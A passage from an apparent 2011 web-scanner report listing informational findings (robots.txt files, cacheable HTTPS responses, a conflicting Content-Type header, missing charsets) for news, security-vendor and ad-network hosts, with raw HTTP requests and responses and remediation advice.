Request

GET /robots.txt HTTP/1.0
Host: safebrowsing.clients.google.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Last-Modified: Mon, 09 May 2011 20:53:07 GMT
Date: Sat, 14 May 2011 11:00:49 GMT
Expires: Sat, 14 May 2011 11:00:49 GMT
Cache-Control: private, max-age=0
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

25.51. http://search.twitter.com/search.json previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://search.twitter.com
Path:	/search.json

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: search.twitter.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:34:09 GMT
Server: Apache
Last-Modified: Tue, 25 Jan 2011 18:04:31 GMT
Accept-Ranges: bytes
Content-Length: 45
Cache-Control: max-age=86400
Expires: Sun, 15 May 2011 12:34:09 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain; charset=UTF-8

User-Agent: *
Disallow: /search
Disallow: /*?

25.52. http://static.2mdn.net/default.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://static.2mdn.net
Path:	/default.htm

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: static.2mdn.net

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Last-Modified: Sun, 01 Feb 2009 08:00:00 GMT
Date: Sat, 14 May 2011 05:08:37 GMT
Expires: Sun, 15 May 2011 05:08:37 GMT
X-Content-Type-Options: nosniff
Server: sffe
Content-Length: 28
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400
Age: 18583

User-agent: *
Disallow: /

25.53. http://static.ak.fbcdn.net/connect/xd_proxy.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://static.ak.fbcdn.net
Path:	/connect/xd_proxy.php

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: static.ak.fbcdn.net

Response

HTTP/1.0 200 OK
Content-Type: text/plain;charset=utf-8
X-FB-Server: 10.138.17.185
Date: Sat, 14 May 2011 10:09:20 GMT
Content-Length: 2553
Connection: close

# Notice: if you would like to crawl Facebook you can
# contact us here: http://www.facebook.com/apps/site_scraping_tos.php
# to apply for white listing. Our general terms are available
# at http://ww
...[SNIP]...

25.54. http://toolbarqueries.clients.google.com/tbproxy/af/query previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://toolbarqueries.clients.google.com
Path:	/tbproxy/af/query

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: toolbarqueries.clients.google.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Last-Modified: Mon, 09 May 2011 20:53:07 GMT
Date: Sat, 14 May 2011 10:59:56 GMT
Expires: Sat, 14 May 2011 10:59:56 GMT
Cache-Control: private, max-age=0
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

25.55. http://topics.barrons.com/person/S/michael-santoli/6041 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://topics.barrons.com
Path:	/person/S/michael-santoli/6041

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: topics.barrons.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:29:52 GMT
Server: Apache
X-DEBUG-BOX-IDENT: secj2kiwebp03
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.4a
X-DEBUG-REQUEST: /robots.txt
X-DEBUG-NAMESPACE: inert-secaucus-barrons
Last-Modified: Tue, 12 May 2009 14:05:32 GMT
Accept-Ranges: bytes
Content-Length: 678
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Keep-Alive: timeout=2, max=50
Connection: Keep-Alive
Content-Type: text/plain

##ACAP version=1.0

User-agent: *
Disallow: /article_email/
Disallow: /article_print/
Disallow: /home/
Disallow: /advanced_search/
Disallow: /login/
Disallow: /acct/
Disallow: /msgcenter/
Di
...[SNIP]...

25.56. http://topics.wsj.com/subject/W/wall-street-journal/nbc-news-polls/6052 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://topics.wsj.com
Path:	/subject/W/wall-street-journal/nbc-news-polls/6052

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: topics.wsj.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:12:27 GMT
Server: Apache
Last-Modified: Mon, 02 May 2011 20:30:08 GMT
Accept-Ranges: bytes
Content-Length: 1827
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Keep-Alive: timeout=2, max=10
Connection: Keep-Alive
Content-Type: text/plain

##ACAP version=1.0

User-agent: *
Disallow: /article_email/
Disallow: /article_print/
Disallow: /PA2VJBNA4R/
Disallow: /home/
Disallow: /advanced_search/
Disallow: /login/
Disallow: /acct/
D
...[SNIP]...

25.57. http://traffic.outbrain.com/network/redir previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://traffic.outbrain.com
Path:	/network/redir

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: traffic.outbrain.com

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"30-1283429117000"
Last-Modified: Thu, 02 Sep 2010 12:05:17 GMT
Content-Type: text/plain
Content-Length: 30
Date: Sat, 14 May 2011 10:32:40 GMT
Connection: close

User-agent: *
Disallow: /

25.58. http://twitter.com/WSJHouse previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://twitter.com
Path:	/WSJHouse

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: twitter.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:57:26 GMT
Server: Apache
Set-Cookie: k=173.193.214.243.1305370646427296; path=/; expires=Sat, 21-May-11 10:57:26 GMT; domain=.twitter.com
Last-Modified: Wed, 04 May 2011 17:32:26 GMT
Accept-Ranges: bytes
Content-Length: 519
Cache-Control: max-age=86400
Expires: Sun, 15 May 2011 10:57:26 GMT
Vary: Accept-Encoding
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: text/plain; charset=UTF-8

#Google Search Engine Robot
User-agent: Googlebot
# Crawl-delay: 10 -- Googlebot ignores crawl-delay ftl
Allow: /*?*_escaped_fragment_
Disallow: /*?
Disallow: /*/with_friends

#Yahoo! Search Engine Ro
...[SNIP]...

25.59. http://urlquery.net/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://urlquery.net
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: urlquery.net

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:51:06 GMT
Server: Apache/2.2.17 (Win32)
Last-Modified: Sat, 02 Apr 2011 14:51:54 GMT
ETag: "126000000006219-41-49ff0aae4ee40"
Accept-Ranges: bytes
Content-Length: 65
Connection: close
Content-Type: text/plain

User-agent: *
Disallow: /download.php
Disallow: /screenshot.php

25.60. http://www.bizographics.com/collect/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.bizographics.com
Path:	/collect/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.bizographics.com

Response

HTTP/1.1 200 OK
Content-Type: text/plain
Date: Sat, 14 May 2011 10:09:23 GMT
Server: nginx/0.7.61
Content-Length: 26
Connection: Close

User-agent: *
Disallow: /

25.61. http://www.dinse.com/news_events.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/news_events.html

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.dinse.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:31:37 GMT
Server: Apache/2.2.3 (Debian)
Last-Modified: Fri, 20 Mar 2009 13:17:19 GMT
ETag: "4d01b1-18-4658cbc7d55c0"
Accept-Ranges: bytes
Content-Length: 24
Connection: close
Content-Type: text/plain; charset=iso-8859-1

User-agent: *
Disallow:

25.62. http://www.facebook.com/widgets/recommendations.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/widgets/recommendations.php

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.facebook.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain;charset=utf-8
X-FB-Server: 10.53.63.83
Connection: close
Content-Length: 2553

# Notice: if you would like to crawl Facebook you can
# contact us here: http://www.facebook.com/apps/site_scraping_tos.php
# to apply for white listing. Our general terms are available
# at http://ww
...[SNIP]...

25.63. http://www.fins.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.fins.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.fins.com

Response

HTTP/1.1 200 OK
Content-Type: text/plain
Last-Modified: Wed, 11 May 2011 01:04:13 GMT
Accept-Ranges: bytes
ETag: "372fa15777fcc1:0"
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:12:58 GMT
Connection: keep-alive
Content-Length: 119

User-agent: *
Sitemap: http://www.fins.com/sitemap.xml.gz
Disallow: /Finance/CandidateJobSearchResults.aspx
Allow: /

25.64. http://www.google-analytics.com/ga.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google-analytics.com
Path:	/ga.js

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.google-analytics.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Last-Modified: Mon, 10 Jan 2011 11:53:04 GMT
Date: Sat, 14 May 2011 10:09:54 GMT
Expires: Sat, 14 May 2011 10:09:54 GMT
Cache-Control: private, max-age=0
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /siteopt.js
Disallow: /config.js

25.65. http://www.googleadservices.com/pagead/conversion/1033560366/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.googleadservices.com
Path:	/pagead/conversion/1033560366/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.googleadservices.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Last-Modified: Mon, 09 May 2011 20:53:07 GMT
Date: Sat, 14 May 2011 10:17:46 GMT
Expires: Sat, 14 May 2011 10:17:46 GMT
Cache-Control: private, max-age=0
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

25.66. http://www.marketwatch.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.marketwatch.com

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/plain
Expires: -1
Last-Modified: Fri, 22 Oct 2010 21:42:02 GMT
Accept-Ranges: bytes
ETag: "0b137f63172cb1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
X-MACHINE: secdfpswebp03
Date: Sat, 14 May 2011 10:12:54 GMT
Connection: keep-alive
Content-Length: 1999

User-agent: *
Disallow: /3com/
Disallow: /admin/
Disallow: /archive/
Disallow: /bin/
Disallow: /cgi-bin/
Disallow: /data/
Disallow: /dbcfiles/
Disallow: /dhtml/
Disallow: /dhtmlmenu/
Disallo
...[SNIP]...

25.67. http://www.mcafeesecure.com/RatingVerify previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mcafeesecure.com
Path:	/RatingVerify

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.mcafeesecure.com

Response

HTTP/1.0 200 OK
Server: McAfeeSecure
Cache-Control: private
ETag: "EKdW2Rg2Pnr"
Last-Modified: Wed, 03 Sep 2008 18:43:59 GMT
Accept-Ranges: bytes
Content-Type: text/plain; charset=utf-8
Content-Length: 44
Date: Sat, 14 May 2011 12:52:12 GMT
Set-Cookie: resin=1707762186.20480.0000; path=/

# Allow Everything
User-agent: *
Disallow:

25.68. https://www.mcafeesecure.com/us/products/buy_now.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.mcafeesecure.com
Path:	/us/products/buy_now.jsp

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.mcafeesecure.com

Response

HTTP/1.0 200 OK
Server: McAfeeSecure
Cache-Control: private
ETag: "EKdW2Rg2Pnr"
Last-Modified: Wed, 03 Sep 2008 18:43:59 GMT
Accept-Ranges: bytes
Content-Type: text/plain; charset=utf-8
Content-Length: 44
Date: Sat, 14 May 2011 12:52:42 GMT
Set-Cookie: resin=1707762186.20480.0000; path=/

# Allow Everything
User-agent: *
Disallow:

25.69. http://www.midphase.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.midphase.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.midphase.com

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:51:53 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_bwlimited/1.4 PHP/5.2.17
Last-Modified: Fri, 28 Aug 2009 12:31:50 GMT
ETag: "36445ac-16-47232de477980"
Accept-Ranges: bytes
Content-Length: 22
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain

User-Agent: *
Allow: /

25.70. http://www.smartmoney.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.smartmoney.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.smartmoney.com

Response

HTTP/1.1 200 OK
Content-Length: 940
Content-Type: text/plain
Content-Location: http://www.smartmoney.com/robots.txt
Last-Modified: Tue, 10 May 2011 04:07:48 GMT
Accept-Ranges: bytes
ETag: "76895d2c7ecc1:d47"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:13:43 GMT
Connection: keep-alive

Sitemap: http://www.smartmoney.com/Sitemap_index.xml

User-agent: *

Disallow:    /ad-files/
Disallow:    /alerts/
Disallow:    /cfide/
Disallow:    /cfscripts/
Disallow:    /classes/
Disallow:    /com/
Disal
...[SNIP]...

26. Cacheable HTTPS response previous next
There are 7 instances of this issue:

https://services.wsj.com/Gryphon/alternateLogin2.dj
https://services.wsj.com/Gryphon/images/logo.png
https://www.mcafeesecure.com/include/js/global.js
https://www.mcafeesecure.com/include/js/home_menu.js
https://www.mcafeesecure.com/include/js/menu.js
https://www.mcafeesecure.com/include/js/menutabs.js
https://www.mcafeesecure.com/include/js/tabs.js

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:

Cache-control: no-store
Pragma: no-cache

26.1. https://services.wsj.com/Gryphon/alternateLogin2.dj previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://services.wsj.com
Path:	/Gryphon/alternateLogin2.dj

Request

Response

26.2. https://services.wsj.com/Gryphon/images/logo.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://services.wsj.com
Path:	/Gryphon/images/logo.png

Request

GET /Gryphon/images/logo.png HTTP/1.1
Host: services.wsj.com
Connection: keep-alive
Referer: https://services.wsj.com/Gryphon/jsp/find_acct.jsp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; s_cc=true; s_sq=%5B%5BB%5D%5D; rsi_csl=; rsi_segs=; mbox=session#1305367797515-52119#1305369821|check#true#1305368021; s_invisit=true; JSESSIONID=0000UNTWrSDPJin0NOeglK2m-3D:-1

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:14:13 GMT
Server: IBM_HTTP_Server/2.0.47.1-PK65782 Apache/2.0.47 (Unix) DAV/2
last-modified: Mon, 19 Nov 2007 09:14:44 GMT
Content-Length: 8697
Keep-Alive: timeout=15, max=500
Connection: Keep-Alive
Content-Type: text/plain
Content-Language: en

.PNG
.
...IHDR.......h......7..... pHYs...............
OiCCPPhotoshop ICC profile..x..SgTS..=...BK...KoR.. RB....&*! .J.!...Q..EE...........Q,..
...!.........{.k........>...........H3Q5...B.........
...[SNIP]...

26.3. https://www.mcafeesecure.com/include/js/global.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.mcafeesecure.com
Path:	/include/js/global.js

Request

GET /include/js/global.js HTTP/1.1
Host: www.mcafeesecure.com
Connection: keep-alive
Referer: https://www.mcafeesecure.com/us/products/buy_now.jsp?tab=4
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: resin=1724539402.20480.0000; __utmx=185732405.; __utmxx=185732405.; __utmz=185732405.1305377534.1.1.utmcsr=server.iad.liveperson.net|utmccn=(referral)|utmcmd=referral|utmcct=/hcp/integration/hackersafe/hackersafe-grey.html; adclick=1103-2; __utma=185732405.396205410.1305377534.1305377534.1305377534.1; __utmc=185732405; __utmb=185732405.5.10.1305377534

Response

HTTP/1.1 200 OK
Server: McAfeeSecure
Last-Modified: Fri, 29 Apr 2011 04:49:17 GMT
Expires: Thu, 19 May 2011 17:22:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 9952
Connection: close
Date: Sat, 14 May 2011 12:52:43 GMT

// *****************************************************************
// * addLoadEvent *
// ******************************************************
...[SNIP]...

26.4. https://www.mcafeesecure.com/include/js/home_menu.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.mcafeesecure.com
Path:	/include/js/home_menu.js

Request

GET /include/js/home_menu.js HTTP/1.1
Host: www.mcafeesecure.com
Connection: keep-alive
Referer: https://www.mcafeesecure.com/us/products/buy_now.jsp?tab=4
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: resin=1724539402.20480.0000; __utmx=185732405.; __utmxx=185732405.; __utmz=185732405.1305377534.1.1.utmcsr=server.iad.liveperson.net|utmccn=(referral)|utmcmd=referral|utmcct=/hcp/integration/hackersafe/hackersafe-grey.html; adclick=1103-2; __utma=185732405.396205410.1305377534.1305377534.1305377534.1; __utmc=185732405; __utmb=185732405.5.10.1305377534

Response

HTTP/1.1 200 OK
Server: McAfeeSecure
Last-Modified: Fri, 29 Apr 2011 04:49:18 GMT
Expires: Thu, 19 May 2011 17:22:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 4883
Connection: close
Date: Sat, 14 May 2011 12:52:43 GMT

try{
document.execCommand("BackgroundImageCache",false,true);
}catch(err){
}

//if (window.attachEvent) window.attachEvent("onload", menuHover);
if (window.attachEvent) window.attachEvent("onlo
...[SNIP]...

26.5. https://www.mcafeesecure.com/include/js/menu.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.mcafeesecure.com
Path:	/include/js/menu.js

Request

GET /include/js/menu.js HTTP/1.1
Host: www.mcafeesecure.com
Connection: keep-alive
Referer: https://www.mcafeesecure.com/us/products/buy_now.jsp?tab=4
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: resin=1724539402.20480.0000; __utmx=185732405.; __utmxx=185732405.; __utmz=185732405.1305377534.1.1.utmcsr=server.iad.liveperson.net|utmccn=(referral)|utmcmd=referral|utmcct=/hcp/integration/hackersafe/hackersafe-grey.html; adclick=1103-2; __utma=185732405.396205410.1305377534.1305377534.1305377534.1; __utmc=185732405; __utmb=185732405.5.10.1305377534

Response

HTTP/1.1 200 OK
Server: McAfeeSecure
Last-Modified: Fri, 29 Apr 2011 04:49:17 GMT
Expires: Thu, 19 May 2011 17:25:06 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 5011
Connection: close
Date: Sat, 14 May 2011 12:52:44 GMT

   uHover = function() {
   if (!document.getElementsByTagName) return false;
   var uEls = document.getElementById("utility-navigation").getElementsByTagName("li");
   for (var i=0; i<uEls.length; i++) {
...[SNIP]...

26.6. https://www.mcafeesecure.com/include/js/menutabs.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.mcafeesecure.com
Path:	/include/js/menutabs.js

Request

GET /include/js/menutabs.js HTTP/1.1
Host: www.mcafeesecure.com
Connection: keep-alive
Referer: https://www.mcafeesecure.com/us/products/buy_now.jsp?tab=4
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: resin=1724539402.20480.0000; __utmx=185732405.; __utmxx=185732405.; __utmz=185732405.1305377534.1.1.utmcsr=server.iad.liveperson.net|utmccn=(referral)|utmcmd=referral|utmcct=/hcp/integration/hackersafe/hackersafe-grey.html; adclick=1103-2; __utma=185732405.396205410.1305377534.1305377534.1305377534.1; __utmc=185732405; __utmb=185732405.5.10.1305377534

Response

HTTP/1.1 200 OK
Server: McAfeeSecure
Last-Modified: Fri, 29 Apr 2011 04:49:17 GMT
Expires: Thu, 19 May 2011 17:22:01 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2709
Connection: close
Date: Sat, 14 May 2011 12:52:44 GMT

/*
Copyright 2009 McAfee, Inc. All Rights Reserved.
Author: Manikandan Rajasekaran, Ramanand Yadwadkar
*/

// * allows multiple ON LOAD functions to be called *
// * DO NOT
...[SNIP]...

26.7. https://www.mcafeesecure.com/include/js/tabs.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.mcafeesecure.com
Path:	/include/js/tabs.js

Request

GET /include/js/tabs.js HTTP/1.1
Host: www.mcafeesecure.com
Connection: keep-alive
Referer: https://www.mcafeesecure.com/us/products/buy_now.jsp?tab=4
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: resin=1724539402.20480.0000; __utmx=185732405.; __utmxx=185732405.; __utmz=185732405.1305377534.1.1.utmcsr=server.iad.liveperson.net|utmccn=(referral)|utmcmd=referral|utmcct=/hcp/integration/hackersafe/hackersafe-grey.html; adclick=1103-2; __utma=185732405.396205410.1305377534.1305377534.1305377534.1; __utmc=185732405; __utmb=185732405.5.10.1305377534

Response

HTTP/1.1 200 OK
Server: McAfeeSecure
Last-Modified: Fri, 29 Apr 2011 04:49:17 GMT
Expires: Thu, 19 May 2011 17:22:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1278
Connection: close
Date: Sat, 14 May 2011 12:52:43 GMT

/*
Tab Navigation.
Author: Manikandan Rajasekaran
*/
function clearAllTheTabs(ts)
{
for( k=1; k<=ts; k++ )
   {
       document.getElementById('link'+k).className='normal';
       document.getElementBy
...[SNIP]...

27. Multiple content types specified previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://server.iad.liveperson.net
Path:	/hcp/html/chatConnLib.js

Issue detail

The response contains multiple Content-type statements which are incompatible with one another. The following statements were received:

Content-Type: application/x-javascript
text/html; charset="+this.dataEncoding+"

Issue background

If a web response specifies multiple incompatible content types, then the browser will usually analyse the response and attempt to determine the actual MIME type of its content. This can have unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of multiple incompatible content type statements does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /hcp/html/chatConnLib.js HTTP/1.1
Host: server.iad.liveperson.net
Proxy-Connection: keep-alive
Referer: http://server.iad.liveperson.net/hc/44533531/?cmd=file&file=preChatSurveyContent&site=44533531&sessionkey=H7032450980834070235-4139296687908663322K2753111&survey=Pre-Chat
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: LivePersonID=LP i=16101514677756,d=1305377522

Response

HTTP/1.1 200 OK
Content-Length: 23454
Content-Type: application/x-javascript
Content-Location: http://server.iad.liveperson.net/hcp/html/chatConnLib.js
Last-Modified: Sun, 17 Apr 2011 22:37:52 GMT
Accept-Ranges: bytes
ETag: "a66e461650fdcb1:cce"
Server: Microsoft-IIS/6.0
P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM"
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 12:52:04 GMT

if(typeof Array.prototype.splice==='undefined'){Array.prototype.splice=function(a,c){var i=0,e=arguments,d=this.copy(),f=a;if(!c){c=this.length-a;}for(i;i<e.length-2;i++){this[a+i]=e[i+2];}for(a;a<thi
...[SNIP]...
<head>';out_str+="<meta http-equiv='Content-Type' content='text/html; charset="+this.dataEncoding+"'>";out_str+='</head>
...[SNIP]...

28. HTML does not specify charset previous next
There are 88 instances of this issue:

http://ad.doubleclick.net/adi/barrons.com/b2pfreezone
http://ad.doubleclick.net/adi/barrons.com/b2pfreezone_free
http://ad.doubleclick.net/adi/barrons.com/columnist
http://ad.doubleclick.net/adi/barrons.com/daily_barronstake
http://ad.doubleclick.net/adi/barrons.com/mag_streetwise
http://ad.doubleclick.net/adi/barrons.com/public_front
http://ad.doubleclick.net/adi/barrons.com/public_other
http://ad.doubleclick.net/adi/barrons.com/sponsor_pickspans
http://ad.doubleclick.net/adi/brokerbutton.smartmoney.com/partner_center
http://ad.doubleclick.net/adi/brokerbuttons.barrons.com/barrons_subfront
http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/frontpage
http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/markets_futuremovers
http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/mutualfunds_jaffe
http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/personalfinance_story
